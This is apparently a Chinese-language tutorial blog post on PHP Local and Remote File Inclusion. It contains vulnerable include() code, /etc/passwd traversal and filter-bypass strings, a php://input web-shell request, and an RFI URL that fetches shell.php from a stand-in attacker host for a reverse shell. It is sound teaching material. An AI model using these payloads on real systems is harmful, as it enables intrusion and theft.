中場休息過後,來看一下LFI和RFI吧!
LFI全稱Local File Inclusion,從字面上就可以大致理解這種攻擊手法,簡單來說就是攻擊者利用網站上某些會引入Server本地端的文件(檔案),而去訪問敏感(或預期外)檔案的攻擊手法。
download.php
<php
include($_REQUEST["f"]);
?>
從這段code和檔案名稱可以看出,網站中的download.php提供了下載某個檔案的功能,這在現實場景也會看到。若是沒有正確的過濾或不恰當的使用,就可能引發LFI,例如在download.php中有個檔案叫register.pdf,當你點下這個pdf的連結後的網址是:http://example.com/download.php?f=register.pdf
這時候改變f的值:http://example.com/download.php?f=/etc/passwd
註:etc/passwd為Linux中包含使用者名稱資訊的檔案
就會看到像這樣的資訊
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
...
當然只看到這些資訊可能沒有甚麼作用,但透過其他方法可以使LFI變得更具威脅性。除了include之外require, include_once, require-once這些也都有可能引發LFI。另外除了/etc/passwd
,也可能被嘗試leak一些預設位置的conf或其他系統設定檔等等。
當然,網站開發者可能會對其做出一些限制或過濾,這時候可以使用相對路徑來繞過,或是使用replace ../,但繞過的方法百百種,例如很簡單的....//....//....//....//....//etc/passwd
或是透過php中的偽協議:
file://
http://
php:// #php://filter , php://imput..
zip://
phar://
...
都可以做到繞過,若是有玩過一些CTF的人,應該對此也不陌生。
這之中又有一些威脅特別嚴重的如php://input
這可以讓Server讀取User的Post Request並當作php code執行,這就允許攻擊者可以用來上傳web shell,例如我們發送以下Request到有此漏洞的網站:
GET /f=php://input HTTP/1.1
Host: example.com
...
...
<?php echo system($_REQUEST['cmd']); ?>
其他還有像是引入php session觸發的RCE這種手法,都會讓LFI變得更加危險。
全稱Remote File Include,也就是遠程檔案包含漏洞,這個與LFI不一樣的是他可以包含"遠程(非本地)"的檔案。
這個漏洞危險的在於,攻擊者可以透過在local架設一個簡易的web service,例如:python3 -m http.server 80
並在資料夾中寫入一個Web shell或Reverse shell,來獲得Server的initial access:http://example.com/download?f=http://attacker/shell.php&cmd=<reverse shell>
下篇預告: HTTP Response Splitting